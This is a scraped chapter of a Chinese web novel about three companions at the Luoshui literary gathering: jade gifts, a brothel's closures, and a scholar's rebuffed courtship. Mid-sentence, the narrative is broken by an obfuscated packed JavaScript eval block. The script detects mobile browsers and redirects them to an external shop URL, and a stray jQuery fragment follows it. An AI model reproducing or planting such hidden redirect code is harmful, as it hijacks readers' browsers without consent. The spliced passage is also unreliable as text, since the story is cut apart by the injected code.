文趣网 > 都市小说 > 修仙?还是先打工吧 > 43. 3 君子赠玉
    这两只玉佩,一只通体洁白、晶莹如雪,雕刻成七弦琴的模样,其下挂有长长的流苏,很契合琴古的气质。

    另一只则为环形,飘絮若飞霞、碧水挟青烟,要给谁自不必多说。

    余容略有局促地道:“这些日子承蒙你们的照顾,我总想找机会正式道谢,昨日听人说,雅集的商铺卖的都是好东西,我就想趁这个机会给你们买份谢礼。”

    原来他昨夜并非无意走散,而是独自去挑选礼品了。

    余容又道:“我也不知该送什么,总觉得什么都配不上你们二位的气质,想到古语说君子配玉,那就送玉好了。这两块玉,都是选了很久才遇到的……我觉得很衬你们,希望你们能喜欢。”

    他微微低下头,抬起眼睛看着羲和琴古,神色间既是期待又含紧张。

    羲望向面前那只透绿玉环,一时怔住了。

    还是琴古率先拿过白琴玉佩,将其握在掌心,颔首道:“谢谢,我很喜欢。这只玉佩,我先戴在身上,待日后羲给我做的琴做好了,就挂到那把琴上。”

    余容稍微松了口气,弯起眼睛笑道:“喜欢就好。其实,这玉应该算不上品质很好的玉,我身上的钱不太多,买不了那些珍稀玉石。这段时间你为我们花了好多钱,我心里挺过意不去的,也怕你会看不上它。”

    琴古摇头道:“钱财都是身外之物,我不在乎,重要的是心意,这个礼物很好。”

    又问,“不过,我记得之前你们说过自己身无分文,直到我们初至洛阳时,你依旧两手空空,为何突然有钱买玉了?”

    余容道:“和你们进山时采了不少药草,后来我把它们分类整理,还炼了一些常用的丹药,赶在雅集开始前卖给客栈旁边的那家药铺了,赚到不少钱呢。”

    琴古道:“原来如此,有心了。”

    他将那枚玉佩珍重地挂在腰间,竟也冲余容露出一个微笑,后者十分感动。而羲这边,却是久久没有动作。

    她抬起指尖,刚触到那玉环却又倏然缩回,迟疑着道:“心意收下了,多谢。但我没有给你花过钱,礼物,就不必了吧。”

    余容一愣:“你们都是我重要的好友,当然要一视同仁,怎么能不送你呢?”想了想,又恍然大悟般,挂上一副落寞神情,“喔,我明白了,你是没看上,才这么委婉地拒绝吧?”

    羲望着那枚碧玉,沉默片刻,抬眸看向他。

    “余容啊,你……”她笑着叹了口气,终于还是把美玉轻轻包入布中,将其收入衣袖。

    见她总算肯收下,余容面色立时晴霁,又忍不住好奇地问:“你想说我……怎么了?”

    羲摇头笑道:“你好像变得狡猾了,竟然对我使用以退为进的计策。”

    被戳中心思,余容也摸着脑袋笑了起来。

    夜幕将至,璀璨的晚霞倒映在波光粼粼的水面上,三人凭栏远眺,看水天一色,看行人笑闹,看阁边帷幔在风中轻舞,恰似玉中飞絮、玉下流苏。

    *

    洛水雅集第三日,书日。

    书之擂台的规则非常简单:参与比试的雅士需现场书就《洛神赋》全篇,纸笔统一,书体自选,一挥而就,不可重写,完成后统一由五位名家评出高下。

    羲三人都觉麻烦,没有参赛,便在会场内闲逛。

    今日的商铺摊位更是货目琳琅,各种笔墨纸砚看得人眼花缭乱,有处展台正在举行拍卖会,一方莲瓣澄泥砚竟拍出百两黄金的高价,令人啧啧称奇。

    不逛不知道,整个洛水雅集的会场东西贯通,南北三路,要想全部走一遍,也得花上不少时间。三人一边赏景,一边品物,逛到东侧尽头时已是下午,而此处竟有一座看起来十分气派美丽的别院,院名洛月楼。

    名如其院,雅得很。但十分古怪的是,这座别院竟然门扉紧闭,显然是拒不招待来者。

    羲三人围在门前疑惑了一会,有位在附近巡查的华服少年看到了,上前来作揖道:“三位雅士,这洛月楼今日是不开放的,请见谅。”

    羲道:“今日不开放,意为改日会开放吗?”

    少年点头道:“只有酒日的晚上,和花日的白天才开放。三位若是感兴趣,可以届时前来光顾。”

    余容问:“这是为何?”

    那少年脸色一红,道:“三位有所不知,这洛月楼……是个风月之地,已在此处接客很多年了。洛水雅集则是二十多年前来洛州任职的一位大人兴办的,此后三年一办,每年的时间不固定,地点却都定在这洛水沿岸最繁华的街市,邀天下雅士共赏洛水四季风貌。

    “初办雅集时,那位大人认为,风月场所难登大雅之堂,故令洛月楼在雅集举办期间闭门谢客,但多年过去,如今洛州已换了新的长官,九年前,本城一位豪绅王大人向刺史大人提议……”

    少年咬了咬唇,似难以启齿,“提议:饮酒无美人,饮之无味,赏花无美人,赏之无趣。这位王大人富甲一方,出手阔绰,周边许多商铺都是他的,所以,从九年前的那一届雅集开始,洛月楼被允许在酒日傍晚至花日天黑前开门迎客。”

    少年再道,“酒日当晚,洛月楼中会有一场酒会,宾客们可在雅座中畅饮美酒,欣赏美人的歌舞。花日一早,洛月楼的美人们则会沿着街道撒花游行,并于日落时为花之擂台的前三甲献上一舞,即为百花舞。

    “……不过,还是有很多雅士认为此举有伤风化,拒绝参与洛月楼相关的活动。三位,前因后果在下已为三位道明,三日后要不要来此,就随各位的心意了。”

    羲三人向她道过谢,少年便欠身离开。三人再看向这冷落无声的庭院,想到其中竟关着许多妙龄美人,一时不免心绪复杂。

    余容道:“其他那些商铺,都能敞开大门,趁这几日大赚一笔。这座洛月楼却要因为那些大人们的所谓喜好,开门也不是,闭门也不是,一切言行皆不能由己,还要任人点评议论,实在太不公平。”

    “是啊,”琴古冷哼道,“说什么风不风雅,风不风化,我看,越是爱把这些话挂在嘴上的人,就越是心思肮脏。人后五毒俱全,人前装得干净。”

    羲很认同这二位的发言,道:“我有点好奇歌舞和酒会是什么样的……三日后,我们一起来看看吧?”

    余容和琴古俱是同意。三人暂别洛月楼,漫步到客栈附近,但此时天色尚早,回去歇憩实在无趣,恰好不远处有一酒楼,门口小二正大声吆喝着“书宴书宴”。

    听起来似乎是以书法为主题的宴席,三人有些兴趣,便入楼落座。

    不多时,菜品渐上,都是些分量极小、但极精美的菜肴。例如有道菜名为“笔落江山”,端上时的确令人眼前一亮,但仔细看了才会发现,盘中的“江山”和题字都是由酱豉芥齑洒绘而成,而那三支“毛笔”只有笔尖为可食用的炸面,吃法是握着笔杆,把笔尖沾上酱料,一口咬下。

    其他菜也大多如此。好在三人并非为了填饱肚子而来,至少过了把眼瘾,也算不虚此行。

    大约过了半个时辰,最后一道汤品“洗墨池”上桌了——其实就是糯米芝麻糊糊。

    琴古看了一眼就不耐烦地放在一边了,羲尝了一口,甜而不腻,十分喜欢,于是善良地表示要帮他一起解决掉。

    怎料,就在她细细品味口中甘露的时候,有位年轻男子背着手走到她身侧。

    这男子衣着整洁端正,头戴方巾,相貌清秀,很是陌生,但一看便知是位读书人,也是整个雅集中特别常见的一类人。他像个桩子一样杵在桌边就不说话了,羲三人都停下动作抬起头来看他,余容笑问:“您好?有什么事情吗?”

    这名书生朝羲看过来,脸迅速涨红,随后深深一个鞠躬,将手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949393|214136||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中的东西捧到头顶:“姑娘,这是我为你写的洛神赋,请姑娘过目!”

    余容:“……”

    琴古:“?”

    羲拿起巾帕擦擦嘴角,客气地道:“我又不是评分的名家,阁下为何要把作品交给我看?”

    书生直起腰来,脸更红了,攥着那卷书作支支吾吾地道:“初至雅集那夜,我遥遥窥见姑娘立于窗边,恍惚间还以为是洛神临世。此后两日两夜,日思夜想,寤寐思服,今日参加书之擂台,落笔之时总会念起佳人风姿……真是没想到,居然又在这里见到了!烟火旁的姑娘,真是更加光彩照人啊!”

    羲听明白了,此人应是她刚落脚客栈、在窗边赏景时遇见的那几个朝她抱拳行礼的路人之一,只是其他人或许是出于礼貌和热情,而这人却动了更多心思,眼下还非要把那卷《洛神赋》塞到她手里。

    羲婉言拒绝,称自己看不懂书法,那书生却仍不肯罢休,唰啦一声展开长长的卷轴,把临近几桌人都吓了一跳,随即都悄悄斜着眼睛看热闹。

    书生指着其中的名句深情诵读片刻,见周围众人皆已石化,才尴尬地摸摸鼻子,道:“窈窕淑女,君子好逑,大千世界,无奇不有。希望姑娘能给我个机会,不要只守着眼前二人,外面的世界很精彩的。”

    羲:“?”

    琴古呛了一下,无语道:“不熟。休要胡言。”

    羲点头道:“是啊,我和他们——”

    “那太好了!我看他也不像,”那书生笑道,“姑娘,给我个机会,我做小的也愿意的。男人只长得好看没有用,我擅书画,还会挣钱,最重要的是我……”

    “等等!”余容忍不住打断道,“你这样随口胡说很不好吧?而且她明明都拒绝了,你不觉得自己很不礼貌吗?”

    书生脸一板,严肃地道:“忮忌之心太重!这种人要不得啊姑娘,我正要说我最大的优点,持家、包容!听我一言,姑娘家找儿郎,还是得找会过日子的,不能只看脸……啊!”

    羲猛地起身,站定他面前。

    这年轻书生被她突兀的动作吓得后撤半步,又见她走近了,双手紧紧抓着书卷,羞涩道:“姑娘,这光天化日之下……”

    羲伸出手,却是指向他手中卷轴上的行草。

    “头重脚轻,疏密不齐,右侧留白太多,左侧拥挤难耐。落笔不稳,行笔不畅,一波五折,只放不收;连笔含糊不清,收笔过显锋芒,心思混乱不专,下笔有形无神。

    “此处,笔画不对;此处,字形有误;此处……这写的是什么?你确定你抄对了吗?”

    在对面人惊恐得快哭出来的眼神里,她拍拍卷轴,一锤定音,“总而言之:笔法三分,心意两分,俗作一幅,恕难欣赏。回去好好练字,莫要再想其他。”

    话罢,所有人都沉默了。

    隔壁桌老者筷子里夹着的丸子扑通一声掉进汤碗,把他胡子都溅湿了,老者轻声道了句抱歉,随后却捂住了脸,轻微颤抖起来。

    片刻后,那书生一把将卷轴捞进怀里,鬼哭狼嚎地冲出门去。

    羲望着他的背影,喃喃道:“我是不是说得太过分了……抱歉啊。”

    “也没说错什么,很专业的点评。”琴古端起茶杯,轻啜一口,“这种人,你不过分他就会过分,早点甩开是对的。”

    羲点点头,后知后觉地脑袋发懵、脸颊发热,只觉方才发生的事实在古怪,她自己也古怪,怎么突然就那么较真,突然就说话那么犀利呢?明明可以好言拒绝,幽默化解,为什么没忍住……

    她木木地坐下,总觉得原因好像就在眼前,却被一团雾给笼住了,那团雾或许一吹就散,但她反而不敢了。

    这时,一只盛着黑白甜糊的白瓷碗,被推到了她的面前。

    余容道:“这种粥点,不能喝太凉的,快趁热喝吧。”